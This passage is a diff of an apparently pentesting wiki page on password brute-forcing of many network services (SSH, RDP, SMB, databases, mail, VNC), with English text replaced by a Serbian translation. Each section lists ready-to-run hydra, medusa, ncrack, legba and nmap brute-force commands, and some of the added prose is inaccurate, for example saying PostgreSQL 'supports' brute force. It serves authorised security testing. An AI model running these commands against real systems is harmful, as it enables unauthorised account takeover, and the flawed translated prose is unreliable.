sigurnosne grupe**: Konfigurišite sigurnosne grupe kako biste ograničili pristup MySQL bazi podataka samo na određene korisnike i IP adrese. + +- **Koristite enkripciju**: Koristite enkripciju za zaštitu podataka koji se prenose između MySQL servera i klijenta. + +- **Redovno pravljenje rezervnih kopija**: Redovno pravite rezervne kopije MySQL baze podataka kako biste se zaštitili od gubitka podataka u slučaju napada. ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -305,9 +583,31 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL +OracleSQL je programski jezik koji se koristi za upravljanje Oracle bazama podataka. Može se koristiti za izvršavanje različitih operacija nad bazom podataka, kao što su upiti, unos podataka, ažuriranje i brisanje podataka. + +#### Brute Force napadi na OracleSQL + +Brute Force napadi su tehnike koje se koriste za pokušaj otkrivanja lozinke ili korisničkog imena tako što se sistem napada pokušajem svih mogućih kombinacija. Ovi napadi se mogu koristiti i na OracleSQL bazama podataka kako bi se pokušalo otkriti lozinke korisnika ili administratora. + +Da bi se izvršio Brute Force napad na OracleSQL, koristi se alat koji automatski generiše i pokušava sve moguće kombinacije lozinki. Ovaj proces može biti vremenski zahtevan, posebno ako je lozinka kompleksna i dugačka. + +#### Zaštita od Brute Force napada + +Da bi se zaštitili od Brute Force napada na OracleSQL bazu podataka, preporučuje se primena sledećih mera: + +1. Korišćenje snažnih lozinki: Korisnici trebaju koristiti složene lozinke koje kombinuju velika i mala slova, brojeve i posebne znakove. Lozinke treba redovno menjati i ne smeju biti lako pogodljive. + +2. Blokiranje IP adresa: Može se konfigurisati OracleSQL baza podataka da blokira IP adrese koje su izvršile određeni broj neuspelih pokušaja prijavljivanja. Ovo može pomoći u sprečavanju Brute Force napada. + +3. Višestruki faktori autentifikacije: Korišćenje višestrukih faktora autentifikacije, kao što su lozinka i jednokratni kod, može dodatno otežati Brute Force napade. + +4. Praćenje logova: Praćenje logova može pomoći u otkrivanju Brute Force napada i identifikaciji potencijalnih ranjivosti u sistemu. + +5. Ograničenje broja pokušaja prijavljivanja: Može se postaviti ograničenje na broj pokušaja prijavljivanja kako bi se sprečili Brute Force napadi. Nakon određenog broja neuspelih pokušaja, korisnik ili IP adresa mogu biti privremeno blokirani. + +Implementacija ovih mera može značajno smanjiti rizik od Brute Force napada na OracleSQL bazu podataka. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -331,21 +631,27 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle\_login** with **patator** you need to **install**: - +Da biste koristili **oracle\_login** sa **patator**-om, morate **instalirati**: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP +POP (Post Office Protocol) je protokol za prijem elektronske pošte. POP se koristi za preuzimanje poruka sa servera e-pošte na lokalni uređaj. + +#### Brute Force napad na POP + +Brute Force napad na POP je tehnika koja se koristi za pokušaj otkrivanja lozinke za pristup POP serveru. Ova tehnika uključuje automatsko isprobavanje različitih kombinacija lozinki sve dok se ne pronađe ispravna lozinka. + +Da bi se izvršio Brute Force napad na POP, potrebno je koristiti alat koji može automatski generisati i testirati veliki broj lozinki. Ovaj alat može biti program ili skripta koja koristi rečnike sa različitim kombinacijama lozinki. + +Važno je napomenuti da je Brute Force napad na POP oblik napada na snagu lozinke. To znači da je uspeh ovog napada zavisan od dužine i složenosti lozinke. Što je lozinka duža i složenija, to je manja verovatnoća da će Brute Force napad biti uspešan. + +Da bi se zaštitili od Brute Force napada na POP, preporučuje se korišćenje jakih lozinki koje kombinuju različite karakteristike kao što su velika i mala slova, brojevi i posebni znakovi. Takođe je važno redovno menjati lozinke i koristiti dvofaktornu autentifikaciju ako je moguće. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -356,9 +662,17 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL +PostgreSQL je moćan objektno-relacioni sistem za upravljanje bazama podataka. Ovaj sistem podržava različite metode autentifikacije, uključujući i brute force napade. Brute force napad je tehnika koja se koristi za pokušaj otkrivanja lozinke tako što se sistem napada pokušajem svih mogućih kombinacija lozinki. + +Da biste izvršili brute force napad na PostgreSQL, možete koristiti alate kao što su Hydra, Medusa ili Patator. Ovi alati omogućavaju automatizovano isprobavanje različitih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija. + +Kada izvršavate brute force napad, važno je da imate listu mogućih korisničkih imena i lozinki koje želite isprobati. Takođe, trebali biste biti oprezni i ne preopteretiti sistem brute force napadima, jer to može dovesti do blokiranja vaše IP adrese ili drugih sigurnosnih mera. + +PostgreSQL takođe ima mehanizme zaštite od brute force napada, kao što je postavljanje ograničenja broja neuspelih pokušaja prijavljivanja ili korišćenje CAPTCHA zaštite. Ovi mehanizmi mogu otežati izvršavanje brute force napada, ali ne garantuju potpunu zaštitu. + +Važno je napomenuti da je izvršavanje brute force napada bez dozvole vlasnika sistema ilegalno i može imati ozbiljne pravne posledice. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja bilo kakvih hakovanja ili testiranja sigurnosti. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -368,109 +682,217 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +Možete preuzeti `.deb` paket za instalaciju sa [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP +RDP (Remote Desktop Protocol) je protokol koji omogućava udaljeni pristup i upravljanje udaljenim računarima. Brute force napad na RDP se odnosi na pokušaj otkrivanja korisničkih imena i lozinki za pristup RDP serverima. Ovaj napad se obično izvodi pomoću automatizovanih alata koji pokušavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravne podatke za prijavu. + +Da biste izvršili brute force napad na RDP, možete koristiti alate kao što su Hydra, Medusa ili RDPY. Ovi alati omogućavaju automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki na ciljnom RDP serveru. + +Kako biste povećali šanse za uspeh brute force napada na RDP, možete koristiti rečnike lozinki koji sadrže širok spektar mogućih kombinacija. Takođe, možete koristiti tehniku "password spraying" koja podrazumeva isprobavanje nekoliko često korišćenih lozinki na više korisničkih naloga. + +Važno je napomenuti da je brute force napad na RDP nelegalan i može imati ozbiljne pravne posledice. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja bilo kakvih aktivnosti vezanih za hakovanje. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis +Redis je open-source, brzi i skalabilni sistem za skladištenje podataka. Koristi se za skladištenje i upravljanje različitim vrstama podataka, uključujući ključ-vrednost, liste, skupove, redove i hash mape. Redis takođe podržava različite operacije nad podacima, kao što su dodavanje, brisanje, ažuriranje i pretraga. + +Kada je u pitanju brute force napad na Redis, postoje nekoliko metoda koje se mogu koristiti. Jedna od najčešćih metoda je pokušaj svih mogućih kombinacija lozinki dok se ne pronađe ispravna. Ova metoda se naziva i "brute force" jer se oslanja na snagu računara da proba sve moguće kombinacije. + +Da biste izvršili brute force napad na Redis, možete koristiti alate kao što su Hydra ili Medusa. Ovi alati omogućavaju automatizovano isprobavanje različitih kombinacija lozinki sve dok se ne pronađe ispravna. Važno je napomenuti da je brute force napad ilegalan i može imati ozbiljne pravne posledice. + +Da biste se zaštitili od brute force napada na Redis, preporučuje se korišćenje snažnih lozinki koje se teško mogu pogoditi. Takođe je važno redovno ažurirati Redis na najnoviju verziju kako bi se ispravile poznate sigurnosne propuste. Dodatno, možete koristiti alate za detekciju i sprečavanje brute force napada, kao što su fail2ban ili ograničavanje broja pokušaja prijavljivanja. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec +Rexec (Remote Execution) je protokol koji omogućava izvršavanje komandi na udaljenom računaru. Ovaj protokol se često koristi za administrativne svrhe, ali može biti iskorišćen i za zlonamerne aktivnosti. + +Da bi se izvršila brute force napad na rexec, potrebno je pretpostaviti korisničko ime i lozinku. Napadač može koristiti različite tehnike za generisanje kombinacija korisničkih imena i lozinki, kao što su rečnici, kombinacije karaktera ili algoritmi za generisanje. + +Napadač može koristiti alate kao što su Hydra ili Medusa za izvršavanje brute force napada na rexec. Ovi alati automatski generišu i testiraju kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravne kredencijale. + +Da bi se zaštitili od brute force napada na rexec, preporučuje se korišćenje snažnih lozinki, ograničavanje broja neuspelih pokušaja prijavljivanja i implementacija sistema za detekciju i sprečavanje napada. Takođe je važno redovno ažurirati softver i pratiti sigurnosne propuste koji mogu biti iskorišćeni za napade. ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin +Rlogin (Remote Login) je mrežni protokol koji omogućava korisnicima da se udaljeno prijave na drugi računar u mreži. Ovaj protokol se često koristi za administrativne svrhe, kao što je upravljanje udaljenim računarima ili prenos datoteka. + +Brute force napad na Rlogin protokol se može izvesti pokušavajući različite kombinacije korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija. Ovaj napad može biti uspešan ako se koriste slabe lozinke ili ako se ne primenjuju mere zaštite kao što su zaključavanje naloga nakon određenog broja neuspelih pokušaja prijave. + +Da biste izveli brute force napad na Rlogin, možete koristiti alate kao što su Hydra ili Medusa. Ovi alati automatski pokušavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravnu kombinaciju. Važno je napomenuti da je brute force napad nelegalan, osim ako se izvodi na sopstvenim sistemima ili uz dozvolu vlasnika sistema. ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh +Rsh (Remote Shell) je protokol za udaljeno izvršavanje komandi na udaljenom računaru. Ovaj protokol se često koristi za automatizaciju administrativnih zadataka i upravljanje udaljenim sistemima. Međutim, Rsh protokol ima ozbiljne sigurnosne nedostatke i nije preporučljivo koristiti ga u proizvodnom okruženju. + +Brute force napad na Rsh protokol se može izvesti pokušavajući različite kombinacije korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija koja omogućava pristup udaljenom računaru. Ovaj napad se može izvesti pomoću alata kao što su Hydra ili Medusa. + +Da biste izvršili brute force napad na Rsh protokol, potrebno je identifikovati ciljani sistem i odabrati listu potencijalnih korisničkih imena i lozinki. Zatim, alat za brute force se konfiguriše da automatski pokušava sve kombinacije iz liste sve dok ne pronađe ispravnu kombinaciju. + +Važno je napomenuti da je brute force napad nelegalan i može imati ozbiljne pravne posledice. Ovaj metod se može koristiti samo u okviru zakonitog testiranja penetracije ili sa odobrenjem vlasnika sistema. ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync +Rsync je alat za sinhronizaciju i prenos podataka između računara. Može se koristiti za kopiranje i ažuriranje fajlova i direktorijuma preko mreže. Rsync koristi efikasne algoritme za prenos samo promenjenih delova fajlova, što ga čini veoma korisnim za brzi prenos velikih količina podataka. Takođe podržava enkripciju prenosa podataka putem SSH protokola. Rsync se često koristi u sistemskom administriranju i backup procesima. ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP +RTSP (Real Time Streaming Protocol) je protokol za prenos multimedijalnih sadržaja u realnom vremenu preko IP mreže. Ovaj protokol se često koristi za strimovanje video i audio sadržaja sa IP kamera, video servera i drugih uređaja koji podržavaju RTSP. + +#### Brute Force napadi na RTSP + +Brute Force napadi na RTSP se koriste za pokušaj otkrivanja korisničkih imena i lozinki za pristup RTSP serverima. Ovi napadi se obično izvode pomoću alata za automatsko testiranje, kao što je Hydra, koji pokušava različite kombinacije korisničkih imena i lozinki sve dok ne pronađe ispravne kredencijale. + +Da biste izvršili Brute Force napad na RTSP server, potrebno je identifikovati ciljni server i odabrati listu potencijalnih korisničkih imena i lozinki. Zatim se koristi alat za Brute Force napade, kao što je Hydra, koji će automatski pokušavati sve kombinacije korisničkih imena i lozinki dok ne pronađe ispravne kredencijale. + +Napomena: Brute Force napadi su nelegalni i mogu dovesti do pravnih posledica. Ove tehnike se smeju koristiti samo u okviru zakonitog testiranja penetracije ili sa dozvolom vlasnika sistema. ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP +SFTP (Secure File Transfer Protocol) je siguran protokol za prenos datoteka koji koristi kriptografske tehnike za zaštitu podataka tokom prenosa. SFTP se često koristi za prenos osetljivih informacija, kao što su lozinke, finansijski podaci i drugi poverljivi podaci. + +Brute force napad na SFTP server se može izvesti pokušavajući različite kombinacije korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija koja omogućava pristup serveru. Ovaj napad može biti vremenski zahtevan, ali može biti uspešan ako su korisnička imena i lozinke slabe ili su podložne lako pogodljivim kombinacijama. + +Da biste izvršili brute force napad na SFTP server, možete koristiti alate kao što su Hydra, Medusa ili Patator. Ovi alati automatski pokušavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravnu kombinaciju. Važno je napomenuti da je brute force napad nelegalan, osim ako nemate izričitu dozvolu vlasnika servera za izvođenje ovog napada u okviru etičkog hakovanja ili testiranja penetracije. + +Da biste smanjili rizik od brute force napada na SFTP server, preporučuje se korišćenje snažnih lozinki koje kombinuju različite vrste karaktera (velika slova, mala slova, brojevi, posebni znakovi) i redovno menjanje lozinki. Takođe je važno koristiti višefaktorsku autentifikaciju koja zahteva dodatnu verifikaciju, poput SMS koda ili biometrijskih podataka, kako bi se otežao neovlašćeni pristup serveru. ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP +SNMP (Simple Network Management Protocol) je protokol koji se koristi za upravljanje i nadzor mrežnih uređaja. Ovaj protokol omogućava administratorima da prikupljaju informacije o statusu i performansama mreže, kao i da upravljaju mrežnim uređajima. + +SNMP koristi koncept agenata i upravljača. Agenti su softverski moduli koji se izvršavaju na mrežnim uređajima i prikupljaju informacije o njihovom statusu. Upravljači su softverski alati koji se koriste za nadzor i upravljanje mrežnim uređajima putem SNMP protokola. + +Brute force napad na SNMP se može izvesti pokušavajući sve moguće kombinacije zajedničke zajednice (community string) kako bi se pristupilo SNMP agentu. Zajednica je vrsta lozinke koja se koristi za autentifikaciju i autorizaciju pristupa SNMP agentu. + +Da bi se izvršio brute force napad na SNMP, koriste se alati kao što su SNMP Brute i SNMP-Brute. Ovi alati automatski generišu i testiraju različite kombinacije zajedničke zajednice kako bi pristupili SNMP agentu. + +Da bi se zaštitili od brute force napada na SNMP, preporučuje se korišćenje snažnih i složenih zajedničkih zajednica, kao i ograničavanje pristupa SNMP agentu samo na određene IP adrese. Takođe je važno redovno ažurirati softver na mrežnim uređajima kako bi se ispravile poznate sigurnosne ranjivosti. ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB +SMB (Server Message Block) je protokol za deljenje datoteka i štampanje koji se često koristi u Windows okruženjima. Ovaj protokol omogućava korisnicima da pristupe i deluju sa resursima na udaljenim računarima, kao što su datoteke, štampači i mrežni uređaji. + +Brute force napad na SMB protokol se može izvesti pomoću alata kao što su Hydra, Medusa ili smbmap. Ovi alati omogućavaju napadačima da automatski isprobaju različite kombinacije korisničkih imena i lozinki kako bi pristupili SMB resursima. + +Da bi se izvršio uspešan brute force napad na SMB, napadač mora imati listu potencijalnih korisničkih imena i lozinki. Ova lista se može dobiti putem različitih izvora, kao što su procurele baze podataka, socijalno inženjering ili prethodno prikupljeni podaci o korisnicima. + +Napadači takođe mogu koristiti različite tehnike za poboljšanje efikasnosti brute force napada na SMB. Na primer, mogu koristiti rečnike sa najčešće korišćenim lozinkama, kombinovati različite rečnike ili koristiti tehnike kao što su "password spraying" ili "credential stuffing". + +Važno je napomenuti da je brute force napad na SMB nelegalan i može imati ozbiljne pravne posledice. Ova tehnika se može koristiti samo u okviru zakonitog testiranja penetracije ili sa odobrenjem vlasnika sistema. ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP +SMTP (Simple Mail Transfer Protocol) je standardni protokol za slanje elektronske pošte preko interneta. Ovaj protokol se često koristi za slanje i prijem poruka putem e-pošte. + +#### Brute Force napad na SMTP + +Brute Force napad na SMTP je tehnika koja se koristi za pokušaj otkrivanja lozinke za pristup SMTP serveru. Ovaj napad se zasniva na pokušaju svih mogućih kombinacija lozinki sve dok se ne pronađe ispravna lozinka. + +Da biste izvršili Brute Force napad na SMTP, možete koristiti različite alate i tehnike, kao što su: + +- **Hydra**: Alat za Brute Force napade koji podržava različite protokole, uključujući SMTP. +- **Medusa**: Alat za Brute Force napade koji takođe podržava različite protokole, uključujući SMTP. +- **Ncrack**: Alat za Brute Force napade koji je posebno dizajniran za mrežne protokole, uključujući SMTP. + +Prilikom izvođenja Brute Force napada na SMTP, važno je uzeti u obzir nekoliko faktora kako biste povećali šanse za uspeh: + +- **Rečnik lozinki**: Koristite rečnik lozinki koji sadrži širok spektar mogućih kombinacija. +- **Brzina napada**: Podesite brzinu napada tako da ne izazivate sumnju ili blokadu na ciljnom SMTP serveru. +- **Blokiranje IP adrese**: Budite svesni da neki SMTP serveri mogu blokirati IP adrese koje izvršavaju Brute Force napade. + +Važno je napomenuti da je Brute Force napad na SMTP nelegalan, osim ako se izvodi u okviru zakonitog testiranja penetracije ili sa odobrenjem vlasnika sistema. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja bilo kakvih hakeraških aktivnosti. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS +SOCKS (Socket Secure) je protokol koji omogućava korisnicima da uspostave sigurnu vezu preko proxy servera. Ovaj protokol omogućava preusmeravanje mrežnog saobraćaja kroz proxy server, čime se obezbeđuje anonimnost i zaštita privatnosti korisnika. + +Brute force napad na SOCKS proxy server se može izvesti pomoću različitih alata i tehnika. Jedan od najčešćih načina je korišćenje alata poput Hydra ili Medusa, koji omogućavaju automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki kako bi se pronašli validni pristupni podaci. + +Ovaj napad može biti veoma efikasan, posebno ako se koriste slabije lozinke ili ako postoji mogućnost korišćenja lista sa najčešće korišćenim lozinkama. Međutim, važno je napomenuti da je brute force napad ilegalan i može imati ozbiljne pravne posledice. Stoga se preporučuje da se ova tehnika koristi samo u okviru zakonskih i etičkih granica, kao deo legitimnog testiranja bezbednosti ili autorizovanih aktivnosti. ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server +SQL Server je popularni sistem za upravljanje bazama podataka koji se često koristi u poslovnom okruženju. Kao i kod drugih baza podataka, SQL Server takođe može biti meta brute force napada. Brute force napad na SQL Server se obično izvodi pokušajem da se pređe preko autentifikacionog sistema i pristupi bazi podataka. + +#### Metodologija napada + +1. Identifikacija SQL Servera: Prvi korak u napadu je identifikacija SQL Servera koji želite da napadnete. To možete uraditi skeniranjem mreže ili korišćenjem alata kao što je Nmap. + +2. Pronalaženje autentifikacionog sistema: Nakon identifikacije SQL Servera, sledeći korak je pronalaženje autentifikacionog sistema koji se koristi. SQL Server može koristiti Windows autentifikaciju, SQL Server autentifikaciju ili kombinaciju oba. + +3. Brute force napad: Kada ste identifikovali autentifikacioni sistem, možete započeti brute force napad. Ovo se može uraditi ručno ili korišćenjem alata kao što je Hydra ili Medusa. Napadač će pokušati različite kombinacije korisničkih imena i lozinki sve dok ne pronađe ispravne kredencijale. + +4. Eksploatacija: Kada napadač uspešno pronađe ispravne kredencijale, može pristupiti SQL Serveru i izvršavati različite komande. Ovo može uključivati izvršavanje SQL upita, modifikaciju podataka ili čak preuzimanje celokupne baze podataka. + +#### Prevencija brute force napada + +Da biste sprečili brute force napade na SQL Server, možete preduzeti sledeće mere: + +- Koristite jake lozinke: Koristite složene lozinke koje kombinuju velika i mala slova, brojeve i posebne znakove. Takođe, redovno menjajte lozinke. + +- Ograničite broj pokušaja prijave: Postavite ograničenje na broj pokušaja prijave kako biste sprečili napadače da izvršavaju brute force napade. + +- Koristite dvofaktornu autentifikaciju: Uključite dvofaktornu autentifikaciju kako biste dodatno zaštitili pristup SQL Serveru. + +- Ažurirajte SQL Server: Redovno ažurirajte SQL Server kako biste ispravili poznate sigurnosne propuste i ranjivosti. + +- Pratite logove: Pratite logove SQL Servera kako biste identifikovali sumnjive aktivnosti i potencijalne brute force napade. + +- Koristite firewall: Konfigurišite firewall kako biste ograničili pristup SQL Serveru samo sa određenih IP adresa ili mreža. + +#### Zaključak + +Brute force napadi na SQL Server mogu biti veoma opasni jer mogu dovesti do neovlašćenog pristupa osetljivim podacima. Implementacija odgovarajućih sigurnosnih mera može pomoći u sprečavanju ovih napada i zaštiti SQL Servera od potencijalnih ranjivosti. ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -479,9 +901,17 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH +SSH (Secure Shell) je kriptografski protokol koji se koristi za sigurnu komunikaciju između udaljenih računara. Ovaj protokol omogućava enkriptovanu i autentifikovanu vezu, čime se osigurava da se podaci koji se prenose između računara ne mogu lako presresti ili modifikovati. + +Brute force napad na SSH je tehnika koja se koristi za pokušaj otkrivanja lozinke za SSH pristup. Ovaj napad se zasniva na isprobavanju različitih kombinacija lozinki sve dok se ne pronađe ispravna lozinka. Postoje različiti alati i metode koje se mogu koristiti za izvođenje brute force napada na SSH. + +Jedan od najčešćih alata koji se koristi za brute force napad na SSH je Hydra. Ovaj alat omogućava automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki kako bi se pronašla ispravna kombinacija. Kada se pronađe ispravna lozinka, napadač može dobiti neovlašćen pristup udaljenom računaru. + +Da bi se zaštitili od brute force napada na SSH, preporučuje se korišćenje snažnih lozinki koje se teško mogu pogoditi. Takođe je važno koristiti alate za detekciju i sprečavanje brute force napada, kao što su fail2ban ili DenyHosts. Ovi alati mogu automatski blokirati IP adrese koje pokušavaju izvesti brute force napade na SSH. + +Ukratko, brute force napad na SSH je tehnika koja se koristi za pokušaj otkrivanja lozinke za SSH pristup. Korišćenje snažnih lozinki i alata za detekciju i sprečavanje brute force napada može pomoći u zaštiti od ovog tipa napada. ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -491,38 +921,42 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### Slabe SSH ključeve / Debian predvidljivi PRNG -#### Weak SSH keys / Debian predictable PRNG +Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti pomoću alata kao što je [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Takođe su dostupni i pregenerisani setovi slabih ključeva kao što je [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ) +STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** kao što su RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i izvođenje različitih operacija sa porukama. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - ### Telnet +Telnet je mrežni protokol koji omogućava udaljeni pristup i upravljanje drugim računarima putem mreže. Ovaj protokol se često koristi za testiranje sigurnosti mreže i otkrivanje slabosti u sistemima. + +Brute force napad na Telnet se može izvesti pomoću alata kao što su Hydra, Medusa ili Patator. Ovi alati omogućavaju automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki kako bi se pronašli ispravni kredencijali za pristup Telnet serveru. + +Napadači mogu koristiti različite tehnike za poboljšanje efikasnosti brute force napada na Telnet. Na primer, mogu koristiti rečnike sa popularnim lozinkama, kombinacije korisničkih imena i lozinki koje su često korištene, ili čak koristiti tehnike kao što su "credential stuffing" gde se koriste kredencijali koji su već procurili na internetu. + +Važno je napomenuti da brute force napadi mogu biti ilegalni i da se moraju izvoditi samo uz dozvolu vlasnika sistema. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC +VNC (Virtual Network Computing) je tehnologija koja omogućava udaljeni pristup i kontrolu računara preko mreže. Brute force napad na VNC server se može izvesti pokušavajući različite kombinacije korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija. Ovaj napad se može izvesti pomoću alata kao što su Hydra ili Medusa. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -537,43 +971,59 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm +Winrm (Windows Remote Management) je protokol koji omogućava udaljeno upravljanje Windows operativnim sistemima. Ovaj protokol koristi HTTP prenos podataka preko mreže kako bi omogućio udaljeno izvršavanje komandi, upravljanje servisima i pristup fajlovima na udaljenom Windows računaru. + +#### Brute Force napad na Winrm + +Brute Force napad na Winrm je tehnika koja se koristi za pokušaj otkrivanja lozinke za pristup Winrm servisu. Ova tehnika podrazumeva automatsko isprobavanje različitih kombinacija lozinki sve dok se ne pronađe ispravna lozinka. Brute Force napad može biti veoma efikasan, ali može 